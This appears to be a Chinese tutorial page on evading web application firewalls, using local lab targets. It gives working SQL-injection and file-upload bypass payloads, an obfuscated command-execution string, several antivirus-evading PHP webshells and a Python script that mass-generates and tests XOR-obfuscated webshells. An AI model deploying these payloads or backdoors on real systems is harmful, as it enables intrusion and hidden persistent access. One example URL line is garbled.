目录

WAF的介绍

1、什么是WAF

2、WAF的分类

软件型WAF

硬件型WAF

云 WAF

网站内置的WAF

3、WAF的判断

WAF的绕过

1、信息收集

介绍

信息收集常见检测

信息收集绕过waf的常见方法

信息收集-工具扫描-Awvs&Xray&Goby内置

2、漏洞发现

3、漏洞利用-SQL&文件上传&命令执行

SQL注入

文件上传

命令执行

4、权限控制

脚本后门控制原理

代码-脚本后门免杀变异-覆盖&传参


WAF的介绍

1、什么是WAF

Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策 略来专门为web应用提供保护的一款产品。

WAF思路:用户在对网站进行访问的时候,在入口方向进行了检测,当WAF检测到入口方向的流量异常直接进行拦截。

2、WAF的分类

软件型WAF

以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。

通俗理解:个人或是小公司区开设相应的web应用站点,需要得到防护时大部分会使用的一种方案,就是软件waf。将软件安装到服务器进行保护。

硬件型WAF

以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。

通俗理解:企业或是单位去购买一些安全公司的安全设备(大部分为硬件),然后再机房进行实施

云 WAF

一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器

通俗理解:当在阿里云或者其他地方够买服务器时,阿里云平台会在内部部署云waf,对服务器进行保护

网站内置的WAF

就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的。

3、WAF的判断

通过以下链接看图识别即可

常见WAF拦截页面

WAF的绕过

WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

1、信息收集

介绍

在信息收集中被分为主动和被动扫描,waf通常会对出口(部分有)和入口进行检测。

主动扫描:利用工具进行扫描,会接触到waf

扫描工具:Sqlmap、Awvs、Goby等

被动扫描:利用黑暗引擎或者其他接口等,不会接触waf

黑暗引擎:Fofa Quake Shodan zoomeye 0.zone等

信息收集常见检测

1、脚本或工具速度流量快

2、脚本或工具的指纹被识别

3、脚本或工具的检测Payload

信息收集绕过waf的常见方法

1、延迟:解决请求过快封IP的情况---当利用工具访问速度过快时,waf检测到将IP封住不让其访问,那么可以利用7kbscan、Awvs或者隧道代理配置访问的速度和时间从而进行绕过。

2、代理池:在确保速度的情况下解决请求过快封IP的拦截----在控制访问速度的情况下配合proxifier或者相同功能的工具(配置代理规则让工具的数据包跑到prox中,并设置隧道代理的地址和接口)与工具进行代理---此时网站拦截的都是不同代理IP,与本机没有任何关系

3、白名单:模拟白名单模拟WAF授权测试,解决速度及测试拦截----部分waf中会设置官方浏览器的白名单,那么可以UA头处模仿浏览器爬虫UA头使其误以为是官方爬虫,从而进行绕过(安全狗有默认设置存在该漏洞)

4、模拟用户:模拟真实用户数据包请求探针,解决WAF指纹识别----利用python脚本编写数据包信息模拟正常用户进行爬虫

信息收集-工具扫描-Awvs&Xray&Goby内置

Awvs-设置速度&加入代理----配置访问速度&设置代理服务器&配置UA头

访问速度配置:

UA头配置:

代理配置:

Xray-主被动扫描&进程转发---prox

主动扫描---很轻松理解不在多说:.\xray_windows_amd64.exe webscan --basic-crawler http://xx/ --html-output tomcat.html

被动扫描---利用工具进行代理扫描:.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output app.html

被动扫描举例-Xray设置监听端口进行被动扫描:

xray目录下设置被动扫描并指定ip和端口,启动处于监听状态

当打开app或者某个网页时,burp接受数据,xray进行被动扫描

prox配置:配置文件----代理规则----添加即可

Goby-配置加入Socket代理

2、漏洞发现

漏洞发现的绕过与信息收集类似,简单概括

#Awvs漏扫-Sadedog-白名单-内置

加入白名单扫描,防Safedog拉黑IP

#Awvs漏扫-BT&Aliyun-代理池-内置

加入代理池扫描,防BT或Aliyun拉黑IP

#Xray漏扫-BT&nAliyu-Proxifier-进程

加入代理池扫描,防BT或Aliyun拉黑IP

#Goby漏扫-BT&Aliyun-Socket5-内置

加入代理池扫描,防BT或Aliyun拉黑IP

3、漏洞利用-SQL&文件上传&命令执行

SQL注入

1、关键字替换---利用like代替and或者or进行判断注入点

68.0.100:8081/sqlilabs/Less-2/?id=1192.168.0.100:8081/sqlilabs/Less-2/?id=168.0.100:8081/sqlilabs/Less-2/?id=1 like 1

http://192.168.0.100:8081/sqlilabs/Less-2/?id=1192.168.0.100:8081/sqlilabs/Less-2/?id=1http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12

2、更换提交方式---POST提交&加密

传递数据-------利用burp将数据改为post传参

传递数据-------利用burp将数据改为post传参同时进行加密

3、HPP参数污染--部分中间件只会接受url语句中的最后一个值,但是安全狗会接受所有的值,那么利用该特点进行绕过

举例:id=1/**&id=-1%20union%20select%201,2,3%23*/ -----Waf会误以为id=1后面的内容为注释不会进行拦截,如果中间件只解析最后一个值那么解析内容为id=-1%20union%20select%201,2,3%23*/,可以正常进行注入

文件上传

filename=a.php-------上传文件时去掉双引号,让waf误以为文件是参数名

filename="a.php%00"-----%00干扰

垃圾数据;filename="a.php"--------利用分号写出大量数据,因为waf匹配数据存在封顶,可以利用大量数据进行溢出从而绕过

无限filename;filename="a.php"filename=="a.php"--------重复写多个filename进行绕过

filename="name='uploadfile.php"-------参数模拟,利用数据包的中的某些数据修改为文件名,从而进行干扰

filename="Content-Disposition: form-data.php"------参数模拟,利用数据包的中的某些数据修改为文件名,从而进行干扰

filename=="a.ph

p"                                                      -----对文件名利用换行、双等或是三等号进行绕过,让waf误以为是进行比较而不是上传文件

命令执行

举例:txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

因为过滤了phpinfo(),那么对该命令写入其他字母对waf进行干扰,在利用替代的方法删除多余字母,并利用assert执行。

4、权限控制

脚本后门控制原理

对比工具代码-菜刀&蚁剑&冰蝎&哥斯拉等

代码-脚本后门免杀变异-覆盖&传参

1.php 传参带入

解释:a传递参数ass,$aa就为assert,assert与eval函数相同,最后后门代码被调用,传递数据时对数据进行加密并利用代码解密,为了防治对执行的参数进行过滤

<?php

$a=$_GET['a'];

$aa=$a.'ert';

$aa(base64_decode($_POST['x']));

?>

2.php 变量覆盖

解释:1传递值b,2传递值assert,那么$a为b,$$a=$b=assert,后门脚本生成,传递数据时对数据进行加密并利用代码解密,为了防治对执行的参数进行过滤

<?php

$a=$_GET['1'];

$b=$_GET['2'];

$$a(base64_decode($_POST['x']));

?>

3.php 加密变异-----对文件进行加密,直接访问即可

PHP文件在线加密平台

4.php 异或运算

'!' '^' '@'经过异或运算之后结果为a,与后面形成assert,执行后门。或者是每个字母都进行异或运算最后形成执行函数

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>

利用下面代码可以获取异或运算的结果

import requests

import time

import threading,queue

def string():

while not q.empty():

filename=q.get()

url = 'http://127.0.0.1:8081/x/' + filename

datas = {

'x': 'phpinfo();'

}

result = requests.post(url, data=datas).content.decode('utf-8')

if 'XIAODI-PC' in result:

print('check->'+filename+'->ok')

else:

print('check->'+filename+'->no')

time.sleep(1)

def shell_test_check():

url='http://127.0.0.1:8081/x/33xd64.php'

datas={

'x':'phpinfo();'

}

result=requests.post(url,data=datas).content.decode('utf-8')

print(result)

if 'XIAODI-PC' in result:

print('ok')

if __name__ == '__main__':

q=queue.Queue()

for i in range(1, 127):

for ii in range(1, 127):

payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"

code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"

filename = str(i) + 'xd' + str(ii) + '.php'

q.put(filename)

with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:

f.write(code)

f.close()

print('Fuzz文件生成成功')

for x in range(20):

t=threading.Thread(target=string)

t.start()

Waf攻防-信息收集漏洞发现漏洞利用权限控制相关推荐

  1. web渗透测试思路浅谈-----漏洞发现及利用

    0x02 漏洞发现及利用 1.SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中,再将这些参数 传递给后台的SQL数据库加以解析并执行的漏洞,具体过程如下: 注入类型有get ...

  2. Web安全攻防 信息收集篇(仅供交流学习使用,请勿用于非法用途)

    Web安全攻防 准备篇 1. 信息收集 域名介绍: 域名(Domain Name),是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名 称,用于在数据传 输时标识计算机的电子方位 ...

  3. 网络攻防---信息收集----网络查点与网络监听技术

    网络查点 网络监听技术 听课笔记--<网络攻击与防御> 网络查点:根据网络扫描的结果进一步地对目标主机的服务以及系统版本等信息进行更具针对性的检测,来寻找真正可以攻击的入口,以及攻击过程中 ...

  4. 【KALI使用】17 主动信息收集——四层发现(TCP、UDP、使用 scapy 定刢数据包迕行高级扫描)

    目录 四层发现优缺点 TCP发现 使用 scapy 定刢数据包迕行高级扫描--发送3.4层组合包头 长组合语句 python脚本 UDP 脚本 总结: 只是记录 学习笔记 参考:这个 四层发现优缺点 ...

  5. python安全攻防---信息收集---ICMP主机探测 以及optionparser的使用

    0x01 基础概念 ICMP(Internet control Message Protocal)Internet报文协议,是TCP/IP的一种子协议,属于网络层协议,其目的是用于在IP主机.路由器之 ...

  6. python安全攻防---信息收集---whois查询

    whois是用来查询域名的IP以及所有者信息的传输协议.简单地说,whois就是一个数据库,用来查询域名是否以及被注册,以及注册域名的详细信息(如域名所有人.域名注册商等). 使用whois查询,首先 ...

  7. python安全攻防---信息收集---IP查询

    IP查询是通过当前所获得的URL去查询对应IP地址的过程,可应用Socket库函数中的gethostbyname()获取域名所对用的IP值 程序如下: # -*- coding:utf-8 -*- ' ...

  8. 第46天-WAF绕过-信息收集之反爬虫延时代理池技术

    思维导图 演示案例: Safedog-默认拦截机制分析绕过-未开 CC safedog --CC攻击防护默认是关闭的 1-用目录扫描工具扫 字典的所有的结果都有,明显错误! 抓取进程的抓包工具抓包,与 ...

  9. WAF绕过“小迪安全课堂笔记”信息收集,漏洞发现,漏洞利用,权限控制

    WAF绕过 思维导图(全) CC 攻击与 DDOS CC WAF 绕过-信息收集之反爬虫延时代理池技术 案例 Safedog-默认拦截机制分析绕过-未开CC WAF绕过-漏洞发现之代理池指纹被动探针 ...

最新文章

  1. 张文宏在人工智能大会上“泼冷水”:国内疫情基本结束,防控一开始用的全是“人工”!
  2. Git Merge VS Rebase
  3. 网站搭建从零开始(六) WordPress的基本配置
  4. 敏捷个人:提供更多文档下载,并转载一篇敏捷个人读书笔记
  5. dbml mysql_MySQL数据库笔记二:数据类型及数据库操作
  6. win11双系统设置如何选择默认系统 Windows11双系统设置默认系统的步骤方法
  7. 智能优化算法:萤火虫算法-附代码
  8. 笔记本功耗测试软件,笔记本功率一般多大 笔记本功率检测【图文】
  9. CATIA V6二次开发——有序几何图形集
  10. 用Excel和OutLook实现自动批量发邮件
  11. 深度学习笔记(19) 多任务学习
  12. Python爬虫笔记【一】模拟用户访问之验证码清理(4)
  13. 补充:消除epsilon产生式等
  14. ROS加强精通过程--禁止 未授权用户上网
  15. 矢量点积与矢量叉乘的微分
  16. 花旗银行java二面_花旗银行Citi MA 一面二面及终面面经
  17. 问题-fuxi job failed ,cased by:Invalid decimal format.
  18. 【Android Broadcast】BroadcastReceiver
  19. jmeter登录压力测试单用户和多用户登录
  20. 职场中年危机,可能只是你放水太多又不接受现实而已

热门文章

  1. Ajax方式实现文件下载失败
  2. 快速远程桌面控制公司电脑远程办公
  3. 坐实了!这是华人主场!包揽全部奖项!
  4. VLN阅读报告4:REVERIE: Remote Embodied Visual Referring Expression in Real Indoor Environments(CVPR2020)
  5. Ant-Design-Pro中:EditableProTable在ProForm保存时一并验证EditableProTable中每条数据的规则是否满足
  6. .net篇(1)--js写日历
  7. c语言课程设计作业个人所得税计算,C Prime Plus 5th Edition 练习-个人所得税计算
  8. 在windows中安装Wamp
  9. libreoffice将world、excel等文件转化为pdf文件
  10. IBM X3100 M4安装centos6.5(RHEL 6.5)说明